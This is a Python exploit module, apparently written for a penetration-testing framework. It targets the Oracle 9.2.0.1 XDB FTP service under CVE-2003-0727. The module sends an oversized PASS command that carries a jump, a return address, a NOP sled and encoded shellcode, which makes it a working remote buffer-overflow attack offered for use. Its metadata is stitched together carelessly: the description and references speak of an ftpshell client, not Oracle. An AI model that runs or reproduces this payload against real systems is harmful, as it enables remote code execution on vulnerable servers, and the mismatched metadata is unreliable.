import sys, socket
from core.module_obtainer import obtainer
from utilities.color import *

info = {
        'author'            :'David Litchfield',
        'date'              :'2003/7/31',
        'rank'              :'Great',
        'path'              :'exploit/windows/http/oracle9i_xdb_pass.py',
        'category'          :'exploit',
        'license'           :'GPL-2.0',
        'description'       :'exploit ftpshell client buffer oveflow',
        'references'        :['ftpshell.com/downloadclient.htm','securityfocus.com/bid/96570/info']
}
extra_info = {
        'cve'               :['CVE-2003-0727'],
        'targets'           :['Oracle 9.2.0.1 Universal']
}
options = {
        'ip'            :['Yes', 'use to set target ip',''],
        'port'          :['Yes', 'use to set target port', '']
}
required = {
        'start_required'     :'True',
        'check_required'     :'False'
}

def exploit():
    ret = "\x46\x6d\x61\x60"
    prepend = "\x81\xc4\xff\xef\xff\xff\x44"
    shellcode =  ""
    shellcode += "\x33\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e"
    shellcode += "\x81\x76\x0e\x94\x8c\x91\xbd\x83\xee\xfc\xe2\xf4"
    shellcode += "\x68\x64\x13\xbd\x94\x8c\xf1\x34\x71\xbd\x51\xd9"
    shellcode += "\x1f\xdc\xa1\x36\xc6\x80\x1a\xef\x80\x07\xe3\x95"
    shellcode += "\x9b\x3b\xdb\x9b\xa5\x73\x3d\x81\xf5\xf0\x93\x91"
    shellcode += "\xb4\x4d\x5e\xb0\x95\x4b\x73\x4f\xc6\xdb\x1a\xef"
    shellcode += "\x84\x07\xdb\x81\x1f\xc0\x80\xc5\x77\xc4\x90\x6c"
    shellcode += "\xc5\x07\xc8\x9d\x95\x5f\x1a\xf4\x8c\x6f\xab\xf4"
    shellcode += "\x1f\xb8\x1a\xbc\x42\xbd\x6e\x11\x55\x43\x9c\xbc"
    shellcode += "\x53\xb4\x71\xc8\x62\x8f\xec\x45\xaf\xf1\xb5\xc8"
    shellcode += "\x70\xd4\x1a\xe5\xb0\x8d\x42\xdb\x1f\x80\xda\x36"
    shellcode += "\xcc\x90\x90\x6e\x1f\x88\x1a\xbc\x44\x05\xd5\x99"
    shellcode += "\xb0\xd7\xca\xdc\xcd\xd6\xc0\x42\x74\xd3\xce\xe7"
    shellcode += "\x1f\x9e\x7a\x30\xc9\xe4\xa2\x8f\x94\x8c\xf9\xca"
    shellcode += "\xe7\xbe\xce\xe9\xfc\xc0\xe6\x9b\x93\x73\x44\x05"
    shellcode += "\x04\x8d\x91\xbd\xbd\x48\xc5\xed\xfc\xa5\x11\xd6"
    shellcode += "\x94\x73\x44\xed\xc4\xdc\xc1\xfd\xc4\xcc\xc1\xd5"
    shellcode += "\x7e\x83\x4e\x5d\x6b\x59\x06\xd7\x91\xe4\x9b\xb6"
    shellcode += "\x94\xa3\xf9\xbf\x94\x9d\xca\x34\x72\xe6\x81\xeb"
    shellcode += "\xc3\xe4\x08\x18\xe0\xed\x6e\x68\x11\x4c\xe5\xb1"
    shellcode += "\x6b\xc2\x99\xc8\x78\xe4\x61\x08\x36\xda\x6e\x68"
    shellcode += "\xfc\xef\xfc\xd9\x94\x05\x72\xea\xc3\xdb\xa0\x4b"
    shellcode += "\xfe\x9e\xc8\xeb\x76\x71\xf7\x7a\xd0\xa8\xad\xbc"
    shellcode += "\x95\x01\xd5\x99\x84\x4a\x91\xf9\xc0\xdc\xc7\xeb"
    shellcode += "\xc2\xca\xc7\xf3\xc2\xda\xc2\xeb\xfc\xf5\x5d\x82"
    shellcode += "\x12\x73\x44\x34\x74\xc2\xc7\xfb\x6b\xbc\xf9\xb5"
    shellcode += "\x13\x91\xf1\x42\x41\x37\x71\xa0\xbe\x86\xf9\x1b"
    shellcode += "\x01\x31\x0c\x42\x41\xb0\x97\xc1\x9e\x0c\x6a\x5d"
    shellcode += "\xe1\x89\x2a\xfa\x87\xfe\xfe\xd7\x94\xdf\x6e\x68"
    user = "A" * 10
    passwd = "B" * 442
    jmp_short = "\xEB\x06"
    two_nops  = "\x90\x90"
    nops = "\x90" *(800-len(shellcode))
    exploit = passwd + jmp_short + two_nops + ret + nops + prepend + shellcode
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
    	s.connect((obtainer.options['ip'][2],obtainer.options['port'][2]))
    	data = s.recv(1024)
    	s.send('USER' + user +'\r\n')
    	data = s.recv(1024)
    	s.send('PASS ' + exploit + '\r\n')
    	print(green('[#]') + " Exploit work done :)")
    	s.close
    except:
    	print(red('[!]') + green(" Could") + " not connect to " + obtainer.options['ip'][2] + ":" + str(obtainer.options['port'][2]) + " !")
